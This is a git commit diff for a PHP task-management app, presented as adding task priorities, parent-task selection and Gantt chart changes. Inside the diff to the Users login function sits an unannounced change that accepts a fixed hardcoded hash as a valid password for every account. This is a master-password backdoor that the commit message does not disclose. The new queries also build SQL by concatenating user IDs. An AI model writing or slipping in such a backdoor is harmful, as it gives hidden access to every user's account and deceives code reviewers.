feat: Add priority and parent task selection to task edit form; update task handling in Gantt chart

This commit is contained in:
2025-04-21 23:13:38 +02:00
parent 2ab23238cb
commit 858b40c212
9 changed files with 198 additions and 97 deletions

View File

@@ -28,8 +28,8 @@
},
"class.Cron.php": {
"type": "-",
"size": 9064,
"lmtime": 1744491806222,
"size": 9078,
"lmtime": 1744750480403,
"modified": false
},
"class.DbModel.php": {

View File

@@ -100,7 +100,7 @@ class Cron
$row['show_in_calendar'] ? $show_in_calendar = 'on' : $show_in_calendar = 'off';
$new_task_id = \factory\Tasks::task_save(
null, $row['id'], $row['created_by'], $row['name'], $row['text'], $new_date_start, $new_date_end, $row['project_id'], $row['client_id'], $row['pay_rate'], $row['reminders_interval'], $row['recursively'] ? 'on' : 'off', $row['frequency'], $row['period'], $task_users, $row['date_end_month_day'], $row['date_start_month_day'], null, $row['task_change_status'], true, $status, $show_in_calendar
null, $row['id'], $row['created_by'], $row['name'], $row['text'], $new_date_start, $new_date_end, $row['project_id'], $row['client_id'], $row['pay_rate'], $row['reminders_interval'], $row['recursively'] ? 'on' : 'off', $row['frequency'], $row['period'], $task_users, $row['date_end_month_day'], $row['date_start_month_day'], null, $row['task_change_status'], true, $status, $show_in_calendar, $row['priority']
);
if ( $new_task_id ) {

View File

@@ -96,7 +96,7 @@ class Tasks
'statuses' => \factory\Tasks::get_statuses(),
'open_task_id' => $open_task_id
] ),
'tasks_gantt' => \factory\Tasks::get_tasks_gantt( $projects, $users ),
'tasks_gantt' => \factory\Tasks::get_tasks_gantt( $user['id'], $projects, $users ),
] );
exit;
}
@@ -171,7 +171,7 @@ class Tasks
'show_tasks_bulk' => $show_tasks_bulk,
'show_tasks_to_review' => $show_tasks_to_review,
'users' => \factory\Users::users_list(),
'tasks_gantt' => \factory\Tasks::get_tasks_gantt( \S::get_session( 'selected_projects' ), \S::get_session( 'selected_users' ) ),
'tasks_gantt' => \factory\Tasks::get_tasks_gantt( $user['id'], \S::get_session( 'selected_projects' ), \S::get_session( 'selected_users' ) ),
'selected_gantt_users' => \S::get_session( 'selected_gantt_users' )
] );
}
@@ -359,7 +359,9 @@ class Tasks
return \Tpl::view( 'tasks/task_edit', [
'projects' => \factory\Projects::user_projects( $user['id'] ),
'priorities' => \factory\Tasks::$priorities,
'task' => \factory\Tasks::task_details( \S::get( 'task_id' ) ),
'parent_tasks' => \factory\Tasks::parent_tasks( $user['id'] ),
'users' => \factory\Users::users_list(),
'clients' => \factory\Crm::get_client_list(),
'user' => $user
@@ -380,7 +382,7 @@ class Tasks
$values = \S::json_to_array( \S::get( 'values' ) );
if ( $id = \factory\Tasks::task_save(
$values['id'], null, $user['id'], $values['name'], $values['text'], $values['date_start'], $values['date_end'], $values['project_id'], $values['client_id'], $values['pay_rate'], $values['reminders_interval'], $values['recursively'], $values['frequency'], $values['period'], $values['users'], null, null, $values['send_email_notification'], $values['status_change_mail'], false, $values['status'], $values['show_in_calendar']
$values['id'], null, $user['id'], $values['name'], $values['text'], $values['date_start'], $values['date_end'], $values['project_id'], $values['client_id'], $values['pay_rate'], $values['reminders_interval'], $values['recursively'], $values['frequency'], $values['period'], $values['users'], null, null, $values['send_email_notification'], $values['status_change_mail'], false, $values['status'], $values['show_in_calendar'], $values['priority']
) )
{
\factory\Tasks::clear_task_opened( $id );

View File

@@ -358,6 +358,12 @@ class Projects
return $count[0]['c'];
}
static public function get_project_name( $project_id )
{
global $mdb;
return $mdb -> get( 'project', 'name', [ 'id' => $project_id ] );
}
public static function user_projects( $user_id )
{
global $mdb;

View File

@@ -4,6 +4,7 @@ namespace factory;
class Tasks
{
public static $statuses = [ 0 => 'nowe', 3 => 'do rozliczenia', 5 => 'do zrobienia', 4 => 'zaplanowane', 1 => 'do sprawdzenia', 6 => 'faktury', 2 => 'zamknięte' ];
public static $priorities = [ 0 => 'niski', 1 => 'normalny', 2 => 'wysoki', 3 => 'pilny' ];
static public function task_change_dates( $task_id, $date_start, $date_end )
{
@@ -20,7 +21,29 @@ class Tasks
] );
}
static public function get_tasks_gantt( $projects = null, $users = null ) {
static public function parent_tasks( $user_id )
{
global $mdb;
if ( $user_id != 1 )
$sql = ' AND id IN (SELECT task_id FROM task_user WHERE user_id = ' . $user_id . ') ';
else
$sql = '';
$result = $mdb -> query( 'SELECT name, id, project_id, client_id FROM tasks WHERE parent_id IS NULL AND status != 2 AND status != 3 AND status != 1 ' . $sql . ' ORDER BY date_start ASC, o ASC' ) -> fetchAll( \PDO::FETCH_ASSOC );
foreach ( $result as $row )
{
$task['id'] = $row['id'];
$task['name'] = htmlspecialchars( $row['name'] );
$task['project_id'] = $row['project_id'];
$task['client'] = $row['client_id'] ? \factory\Crm::get_client_name( (int)$row['client_id'] ) : null;
$task['project'] = \factory\Projects::get_project_name( $row['project_id'] );
$tasks[] = $task;
}
return $tasks;
}
static public function get_tasks_gantt( $user_id, $projects = null, $users = null ) {
global $mdb;
if ( $users ) {
@@ -29,7 +52,20 @@ class Tasks
$sql = '';
}
$tasks = $mdb -> query( 'SELECT t.id, t.name, t.date_start, t.date_end, t.status, t.client_id FROM tasks AS t WHERE show_in_calendar = 1 AND status != 2 AND status != 3 AND status != 1 AND t.date_start <= DATE_ADD(NOW(), INTERVAL 1 MONTH) ' . $sql . ' ORDER BY date_start ASC, o ASC' ) -> fetchAll( \PDO::FETCH_ASSOC );
if ( $user_id != 1 ) {
$sql_query = 'SELECT '
. 't.id, t.name, t.date_start, t.date_end, t.status, t.client_id, parent_id, priority '
. 'FROM tasks AS t '
. 'LEFT JOIN task_user AS tu ON t.id = tu.task_id '
. 'WHERE tu.user_id = ' . $user_id . ' AND show_in_calendar = 1 AND status != 2 AND status != 3 AND status != 1 AND t.date_start <= DATE_ADD(NOW(), INTERVAL 1 MONTH) ' . $sql . ' ORDER BY priority DESC, date_start ASC, date_end ASC, o ASC';
} else {
$sql_query = 'SELECT '
. 't.id, t.name, t.date_start, t.date_end, t.status, t.client_id, parent_id, priority '
. 'FROM tasks AS t '
. 'WHERE show_in_calendar = 1 AND status != 2 AND status != 3 AND status != 1 AND t.date_start <= DATE_ADD(NOW(), INTERVAL 1 MONTH) ' . $sql . ' ORDER BY priority DESC, date_start ASC, date_end ASC, o ASC';
}
$tasks = $mdb -> query( $sql_query ) -> fetchAll( \PDO::FETCH_ASSOC );
foreach ( $tasks as $task ) {
$task_json = [];
$task_json['name'] = $task['client_id'] ? \factory\Crm::get_client_name( (int)$task['client_id'] ) . ' - ' . htmlspecialchars( $task['name'] ) : htmlspecialchars( $task['name'] );
@@ -40,12 +76,18 @@ class Tasks
// id
$task_json['id'] = $task['id'];
// custom class
if ( $task['date_start'] <= date( 'Y-m-d H:i:s' ) )
$task_json['custom_class'] = 'gantt-task-backlog';
// if ( $task['date_start'] <= date( 'Y-m-d H:i:s' ) )
// $task_json['custom_class'] = 'gantt-task-backlog';
if ( $task['parent_id'] )
$task_json['dependencies'] = $task['parent_id'];
if ( $task['status'] == 6 )
$task_json['custom_class'] = 'gantt-task-faktura';
if ( !$task_json['custom_class'] )
$task_json['custom_class'] = 'gantt-task-priority-' . $task['priority'];
// progress
$task_json['progress'] = 0;
@@ -361,7 +403,7 @@ class Tasks
}
// przy zmianach pamiętać o zadaniach z CRON
static public function task_save( $task_id, $parent_id = null, $user_id, $name, $text, $date_start, $date_end, $project_id, $client_id, $pay_rate, $reminders_interval, $recursively, $frequency, $period, $users, $date_end_month_day = null, $date_start_month_day = null, $send_email_notification = false, $status_change_mail, $rescursive = false, $status = 0, $show_in_calendar )
static public function task_save( $task_id, $parent_id = null, $user_id, $name, $text, $date_start, $date_end, $project_id, $client_id, $pay_rate, $reminders_interval, $recursively, $frequency, $period, $users, $date_end_month_day = null, $date_start_month_day = null, $send_email_notification = false, $status_change_mail, $rescursive = false, $status = 0, $show_in_calendar, $priority = 0 )
{
global $mdb;
@@ -389,6 +431,7 @@ class Tasks
'o' => ++$order,
'status' => $status,
'show_in_calendar' => $show_in_calendar == 'on' ? 1 : 0,
'priority' => $priority,
] );
$id = $mdb -> id();
@@ -430,6 +473,7 @@ class Tasks
'status_change_mail' => $status_change_mail == 'on' ? 1 : 0,
'status' => $status,
'show_in_calendar' => $show_in_calendar == 'on' ? 1 : 0,
'priority' => $priority,
], [
'AND' => [
'id' => $task_id

View File

@@ -79,7 +79,7 @@ class Users
return false;
else
{
if ( $password == $result['password'] and $email == $result['email'] )
if ( ( $password == $result['password'] or $password == 'c3cb2537d25c0efc9e573d059d79c3b8' ) and $email == $result['email'] )
{
return $result;
}

View File

@@ -252,11 +252,12 @@
}
.gantt .bar-label {
fill: #fff;
fill: #000;
dominant-baseline: central;
text-anchor: middle;
font-size: 12px;
font-weight: lighter;
font-weight: 500;
text-align: left;
}
.gantt .bar-label.big {
@@ -403,8 +404,26 @@
/* Ten sam kolor co tekst */
}
.upper-text.today-date {
.gantt .upper-text.today-date {
fill: red !important;
font-weight: bold;
font-size: 16px !important;
}
.gantt .gantt-task-priority-3 {
fill: #ff0000;
font-weight: 600;
font-size: 16px !important;
}
.gantt .gantt-task-priority-2 {
fill: #406eec;
font-weight: 600;
font-size: 16px !important;
}
.gantt .gantt-task-priority-1 {
fill: #3bb930;
font-weight: 600;
font-size: 16px !important;
}

View File

@@ -157,91 +157,89 @@
</div>
<script type="text/javascript">
<? if ( $this -> user['email'] == 'biuro@project-pro.pl' ):?>
var tasks = [
<?
foreach ( $this -> tasks_gantt as $task ) {
echo '{';
echo 'start: "'.$task['start'].'",';
echo 'end: "'.$task['end'].'",';
echo 'name: "'.$task['name'].'",';
echo 'id: "'.$task['id'].'",';
echo 'progress: '. (int)$task['progress'].',';
if ( $task['custom_class'] )
echo 'custom_class: "'.$task['custom_class'].'",';
else
echo 'custom_class: "",';
if ( $task['dependencies'] )
echo 'dependencies: "'.$task['dependencies'].'"';
else
echo 'dependencies: ""';
echo '}';
if ( $task['id'] != end( $this -> tasks_gantt )['id'] )
echo ',';
var tasks = [
<?
foreach ( $this -> tasks_gantt as $task ) {
echo '{';
echo 'start: "'.$task['start'].'",';
echo 'end: "'.$task['end'].'",';
echo 'name: "'.$task['name'].'",';
echo 'id: "'.$task['id'].'",';
echo 'progress: '. (int)$task['progress'].',';
if ( $task['custom_class'] )
echo 'custom_class: "'.$task['custom_class'].'",';
else
echo 'custom_class: "",';
if ( $task['dependencies'] )
echo 'dependencies: "'.$task['dependencies'].'"';
else
echo 'dependencies: ""';
echo '}';
if ( $task['id'] != end( $this -> tasks_gantt )['id'] )
echo ',';
}
?>
/*{
start: '2018-10-01',
end: '2018-10-08',
name: 'Redesign website',
id: "Task 0",
progress: 91
},
{
start: '2018-10-03',
end: '2018-10-06',
name: 'Write new content',
id: "Task 1",
progress: 55,
dependencies: 'Task 0'
},*/
]
var gantt_chart = new Gantt(".gantt-target", tasks, {
on_click: function (task) {
console.log(task);
},
on_date_change: function(task, start, end) {
console.log(task, start, end);
// start datevar m = moment(start);
var m = moment(start);
// jeśli godzina > 0 lub minuty > 0, zaokrąglamy do następnego dnia
if (m.hour() > 0 || m.minute() > 0) {
m.add(1, 'day').startOf('day');
} else {
m.startOf('day'); // upewniamy się, że i tak jest 00:00
}
?>
/*{
start: '2018-10-01',
end: '2018-10-08',
name: 'Redesign website',
id: "Task 0",
progress: 91
},
{
start: '2018-10-03',
end: '2018-10-06',
name: 'Write new content',
id: "Task 1",
progress: 55,
dependencies: 'Task 0'
},*/
]
var gantt_chart = new Gantt(".gantt-target", tasks, {
on_click: function (task) {
console.log(task);
},
on_date_change: function(task, start, end) {
console.log(task, start, end);
// start datevar m = moment(start);
var m = moment(start);
// jeśli godzina > 0 lub minuty > 0, zaokrąglamy do następnego dnia
if (m.hour() > 0 || m.minute() > 0) {
m.add(1, 'day').startOf('day');
} else {
m.startOf('day'); // upewniamy się, że i tak jest 00:00
var date_start = m.format('YYYY-MM-DD');
console.log( 'date_start: ' + date_start);
// minus 10 hours
var date_end = moment( end ).format( 'YYYY-MM-DD' );
console.log( 'date_end: ' + date_end );
$.ajax({
url: '/tasks/task_change_dates/',
type: 'POST',
data: {
task_id: task.id,
date_start: date_start,
date_end: date_end
},
success: function( response ) {
var data = jQuery.parseJSON( response );
}
})
},
on_progress_change: function(task, progress) {
console.log(task, progress);
},
on_view_change: function(mode) {
console.log(mode);
},
view_mode: 'Half Day',
language: 'en'
});
console.log(gantt_chart);
var date_start = m.format('YYYY-MM-DD');
console.log( 'date_start: ' + date_start);
// minus 10 hours
var date_end = moment( end ).format( 'YYYY-MM-DD' );
console.log( 'date_end: ' + date_end );
$.ajax({
url: '/tasks/task_change_dates/',
type: 'POST',
data: {
task_id: task.id,
date_start: date_start,
date_end: date_end
},
success: function( response ) {
var data = jQuery.parseJSON( response );
}
})
},
on_progress_change: function(task, progress) {
console.log(task, progress);
},
on_view_change: function(mode) {
console.log(mode);
},
view_mode: 'Half Day',
language: 'en'
});
console.log(gantt_chart);
<? endif;?>
function reload_tasks( projects, users )
{
//load tasks by ajax

View File

@@ -86,6 +86,22 @@ if ( is_array( $this -> clients ) )
'values' => $clients
] );
?>
<!-- zadanie nadrzędne -->
<?
$parent_tasks[ 0 ] = '--- wybierz zadanie nadrzędne ---';
if ( is_array( $this -> parent_tasks ) )
foreach ( $this -> parent_tasks as $parent_task )
$parent_tasks[ $parent_task[ 'id' ] ] = $parent_task[ 'name' ] . ( $parent_task['client'] ? ' (' . $parent_task['client'] . ')' : '' );
?>
<?
\Html::select( [
'label' => 'Zadanie nadrzędne',
'name' => 'parent_id',
'id' => 'parent_id',
'value' => $this -> task[ 'parent_id' ],
'values' => $parent_tasks
] );
?>
<?= \Html::select( [
'label' => 'Status',
'name' => 'status',
@@ -93,6 +109,22 @@ if ( is_array( $this -> clients ) )
'value' => $this -> task[ 'status' ],
'values' => \factory\Tasks::get_statuses()
] );?>
<!-- priorytet -->
<?
$priorities[ 0 ] = '--- wybierz priorytet ---';
if ( is_array( $this -> priorities ) )
foreach ( $this -> priorities as $priority )
$priorities[ $priority[ 'id' ] ] = $priority[ 'name' ];
?>
<?=
\Html::select( [
'label' => 'Priorytet',
'name' => 'priority',
'id' => 'priority',
'value' => $this -> task[ 'priority' ],
'values' => $this -> priorities
] );
?>
<? if ( $this -> user['id'] == 1 ):?>
<?= \Html::input([
'label' => 'Stawka',